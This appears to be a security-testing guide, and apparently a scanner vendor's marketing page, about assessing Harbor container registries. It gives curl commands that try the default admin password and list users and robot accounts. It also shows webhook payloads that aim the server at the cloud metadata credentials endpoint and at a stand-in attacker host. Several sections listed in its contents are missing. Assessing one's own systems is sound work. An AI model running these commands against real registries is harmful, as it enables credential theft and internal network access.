Harbor Security Testing: Robot Account Credential Theft, Project Isolation Bypass, and Registry API Abuse

Harbor is the most widely deployed open-source container registry with enterprise features including project isolation, robot accounts, vulnerability scanning, and content trust. Security weaknesses include: the default admin password Harbor12345 remaining unchanged in many deployments, robot account tokens stored with long or unlimited TTL granting persistent pull/push access, public projects misconfigured as anonymous-accessible exposing proprietary images, the Harbor REST API returning user enumeration data in error messages, webhook SSRF via attacker-controlled callback URLs, and content trust policies bypassable through tag mutation when Notary is not enforced. This guide covers systematic Harbor security assessment.

Table of Contents

  1. Default Credentials and Admin API Access
  2. Robot Account Token Theft
  3. Project Isolation Bypass
  4. Harbor REST API Security Testing
  5. Webhook SSRF
  6. Image Tampering and Supply Chain Risks
  7. Harbor Security Hardening

Default Credentials and Admin API Access

# Harbor default credentials: admin / Harbor12345
# Test default password via REST API
curl -s -u admin:Harbor12345 \
  "https://harbor.example.com/api/v2.0/users" 2>/dev/null | \
  python3 -m json.tool | head -20
# If returns user list = default credentials not changed

# Enumerate all projects
curl -s -u admin:Harbor12345 \
  "https://harbor.example.com/api/v2.0/projects?page_size=100" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    projects = json.load(sys.stdin)
    for p in projects:
        public = p.get('metadata',{}).get('public','false')
        print(f\"Project: {p.get('name','?')} public={public} repos={p.get('repo_count',0)}\")
except:
    print('Auth failed or unexpected format')
"

# List all robot accounts (contains token metadata)
curl -s -u admin:Harbor12345 \
  "https://harbor.example.com/api/v2.0/robots?page_size=100" 2>/dev/null | \
  python3 -c "
import json,sys
robots = json.load(sys.stdin)
for r in robots:
    print(f\"Robot: {r.get('name','?')} disabled={r.get('disable',False)}\")
    print(f\"  ExpiresAt: {r.get('expires_at','never')}\")
    print(f\"  Permissions: {r.get('permissions','?')}\")
"

Webhook SSRF

# Harbor webhooks send HTTP POST to a configured URL on registry events
# If you can create/update webhooks and the Harbor server has internal network access,
# this enables SSRF from the Harbor server context

# Create a webhook pointing to internal metadata service (requires project-level admin)
curl -s -X POST \
  -u attacker:Password123 \
  "https://harbor.example.com/api/v2.0/projects/my-project/webhook/policies" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "probe",
    "event_types": ["PUSH_ARTIFACT"],
    "targets": [{
      "type": "http",
      "address": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "skip_cert_verify": true
    }]
  }' 2>/dev/null | python3 -m json.tool | head -10

# Trigger the webhook by pushing any image to the project
docker push harbor.example.com/my-project/test:probe 2>/dev/null | tail -3
# Harbor POSTs the push event to the metadata service URL
# Monitor your callback server for the response

# Also test Slack-compatible webhook type
curl -s -X POST \
  -u attacker:Password123 \
  "https://harbor.example.com/api/v2.0/projects/my-project/webhook/policies" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "slack-probe",
    "event_types": ["PUSH_ARTIFACT"],
    "targets": [{"type": "slack", "address": "http://attacker.example.com/webhook"}]
  }' 2>/dev/null | head -3

Harbor Security Hardening

Harbor Security Hardening Checklist:
Security TestMethodRisk
Default admin password Harbor12345curl -u admin:Harbor12345 /api/v2.0/users — returns user listCritical
Robot account with unlimited TTLGET /api/v2.0/robots — check expires_at fieldHigh
Webhook SSRF to metadata serviceCreate webhook with http://169.254.169.254/... as target URLHigh
Public project exposing private imagesGET /api/v2.0/projects — check metadata.public="true"High
User enumeration via API error messagesPOST /api/v2.0/users/login with invalid user — distinct error responseMedium
Replication rule credential exposureGET /api/v2.0/registries — may return credentials for remote registriesHigh

Automate Harbor Security Testing

Ironimo tests Harbor container registries for default credential usage, robot account token theft and lifetime misconfiguration, project isolation bypass for cross-project image access, webhook SSRF to cloud metadata services, registry replication credential exposure, content trust enforcement bypass, and API user enumeration vulnerabilities.

Start free scan